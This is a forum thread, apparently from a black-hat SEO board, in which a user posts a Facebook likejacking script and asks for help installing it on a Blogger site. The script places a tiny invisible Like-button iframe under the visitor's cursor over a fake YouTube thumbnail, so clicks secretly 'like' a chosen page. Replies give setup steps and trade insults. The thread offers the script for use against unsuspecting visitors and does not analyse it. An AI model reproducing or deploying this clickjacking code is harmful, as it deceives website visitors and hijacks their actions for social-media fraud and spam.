Facebook LikeJacking/ClickJacking Script

alienacademy

Supreme Member
Jr. VIP
Joined
Jan 30, 2013
Messages
1,412
Reaction score
797
Hey Guys,
I found a ClickJacking Script. It seems good but don't know how to use it on blogger.
It would be good if anyone help me to setup this. Please.
Thanks

Script:
Code:
<script type="text/javascript">

  // Put here the url to like, use document.location.href to use current url.
  var sUrlToLike = 'http://www.site.com/your-url-to-like';
  // An image to use to replace the YouTube video before the user clicks on it.
  var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';

  var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
  var aMatches      = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );

  if( aMatches )
  {
    var sInstanceId         = 'lj' + ( new Date() ).getTime();
    var oActiveElement      = undefined;
    var oInterval           = undefined;
    var oRemoveInterval  = undefined;
    var oImage           = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
    var oInvisibleDiv       = $( '<div/>' );
    var oIFrame          = $( '<iframe id="' + sInstanceId + '"></iframe>' );
    var sVideoCode          = aMatches[1];
    var bDone            = false;
    var iX = 0;
    var iY = 0;

    oYouTubeFrame.hide().after( oImage );

    oInterval = setInterval( function()
    {
      oActiveElement = $( document.activeElement );

      if( oActiveElement.attr('id') == sInstanceId && bDone == false )
      {
        oImage.remove();

        oYouTubeFrame
        .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
        .show();

        bDone = true;
        oRemoveInterval = setInterval( function()
        {
          oInvisibleDiv.remove();

          clearInterval( oRemoveInterval );
          clearInterval( oInterval );
        },
        1000 );
      }
    },
    50 );

    oInvisibleDiv.css
    ({
      border     : 0,
      width      : '2px',
      height     : '2px',
      position   : 'absolute',
      background : '#000'
    });

    oIFrame.css
    ({
      border   : 0,
      width    : '2px',
      height   : '2px',
      margin   : 0,
      padding  : 0,
      position : 'absolute'
    })
    .attr( 'scrolling',   'no' )
    .attr( 'frameborder', 'no' )
    .attr( 'src',         'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
    .appendTo( oInvisibleDiv );

    oInvisibleDiv.appendTo('body');

    $('body').mousemove( function(e)
    {
      iX = e.pageX;
      iY = e.pageY;

      oInvisibleDiv.css
      ({
        left : ( e.pageX - 1 ) + 'px',
        top  : ( e.pageY - 1 ) + 'px'
      });
    });
  }

</script>
 
I was just looking for this too. Sadly i dont know how to set this up to. Would preferably want to use it on HTML. hope it wont get the page banned ???
 
go to dashboard in blogger check out then layout. Click on add a gadget and then HTML/javascript. This will open a dialog box enter your script here and save. Test and go ahead.
 
go to dashboard in blogger check out then layout. Click on add a gadget and then HTML/javascript. This will open a dialog box enter your script here and save. Test and go ahead.

Dude I am not that much newbie. Actually its giving some errors in html when I try to save. If you added it successfully so please pm me.
 
OMG - posting it public - you sir are a COMPLETE n00b
 
OMG - posting it public - you sir are a COMPLETE n00b

You are here from 2010 but its looks to me you are NOOBer than any other member here. The script is already for public use. And its not the first script posted here.
 
buy a domain and get some free hosting... i know how to set it up on blogger ... 100$ and i'll tell you :)

buying a domain and some shared hosting sounds cool now right ?
 
You are here from 2010 but its looks to me you are NOOBer than any other member here. The script is already for public use. And its not the first script posted here.

http://www.blackhatworld.com/blackhat-seo/blackhat-lounge/621941-help-me-setup-script.html - and I'm the noobiest :D
 
Go to blogger blog > Template > scroll down > switch to classic template > Remove everything and add that javascript...click on save template.

Edit: I added that script and getting error: "$ is not defined. Syntax Error".
 
Last edited:
This is only the javascript! The OP not posted also the other part of the code... So f.&% you and resolve your problem alone
 
This is only the javascript! The OP not posted also the other part of the code... So f.&% you and resolve your problem alone

Most probably because he couldn't figure out what the other part is or what belongs to this script to work at all ^^
 
You guys are unbelievable none of you know how these scripts work but are arguing about di*** size :) you won't change anything by posting working script because small part of people will integrate them
 
You guys are unbelievable none of you know how these scripts work but are arguing about di*** size :) you won't change anything by posting working script because small part of people will integrate them

Oh - I know that very well...
It just pisses me off when some scriptkid is posting scripts (or part of scripts) publicly on BHW they happend to 'find somewhere' to ruin the methods of other users with more knowledge that use them for some time already...

I'm not using the above mentioned script on my own - its just pissing me off in general.
I think I remember a time when users got banned for posting stuff like this in public.
 
So many retard peoples here....
First of all that is the full part I got from the website.
Second Its not a big fucking secret, the script is already listed on www.emoticode.net
So the script is not made by me so just shut your mouth if its giving you any error because I am already fucking retard of these errors.
 
So many retard peoples here....
First of all that is the full part I got from the website.
Second Its not a big fucking secret, the script is already listed on www.emoticode.net
So the script is not made by me so just shut your mouth if its giving you any error because I am already fucking retard of these errors.

+1

The script have been public since april ..
 
LIKE is useless bro, soon as you cross 100-200 likes quickly they show "confirm" button and you cannot bypass it..
 
Back
Top